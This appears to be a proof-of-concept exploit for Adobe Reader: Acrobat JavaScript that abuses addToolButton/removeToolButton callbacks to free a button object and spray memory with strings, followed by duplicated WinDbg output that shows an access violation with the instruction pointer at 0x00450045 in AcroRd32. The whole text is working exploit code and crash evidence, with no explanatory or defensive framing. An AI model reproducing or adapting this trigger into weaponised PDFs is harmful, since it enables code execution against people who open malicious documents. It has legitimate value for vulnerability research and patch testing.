removeButtonFunc = function () {
app.removeToolButton({
cName: "evil"
});
for (i = 0; i < 10; i++) arr[i] = part1.concat(part2);
}
addButtonFunc = function () {
app.addToolButton({
cName: "xxx",
cExec: "1",
cEnable: "removeButtonFunc();"
});
}
app.addToolButton({
cName: "evil",
cExec: "1",
cEnable: "addButtonFunc();"
});
0:000> g
(f80.ef8): Access violation - code c0000005 (!!! second chance !!!)
eax=5f4948ac ebx=00000000 ecx=03458134 edx=02613001 esi=03458134 edi=00000001
eip=00450045 esp=002dd404 ebp=002dd428 iopl=0 nv up ei pl zr ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210257
00450045 0000 add byte ptr [eax],al ds:0023:5f4948ac=26
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
002dd400 5ecf2c67 af812630 00000001 03458134 0x450045
002dd428 5ecf28fc 00000000 03458134 002dd494 AcroRd32!AVAcroALM_IsFeatureEnabled+0xd893
00000000 00000000 00000000 00000000 00000000 AcroRd32!AVAcroALM_IsFeatureEnabled+0xd528
0:000> g
(f80.ef8): Access violation - code c0000005 (!!! second chance !!!)
eax=5f4948ac ebx=00000000 ecx=03458134 edx=02613001 esi=03458134 edi=00000001
eip=00450045 esp=002dd404 ebp=002dd428 iopl=0 nv up ei pl zr ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210257
00450045 0000 add byte ptr [eax],al ds:0023:5f4948ac=26
栈回溯
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
002dd400 5ecf2c67 af812630 00000001 03458134 0x450045
002dd428 5ecf28fc 00000000 03458134 002dd494 AcroRd32!AVAcroALM_IsFeatureEnabled+0xd893
00000000 00000000 00000000 00000000 00000000 AcroRd32!AVAcroALM_IsFeatureEnabled+0xd528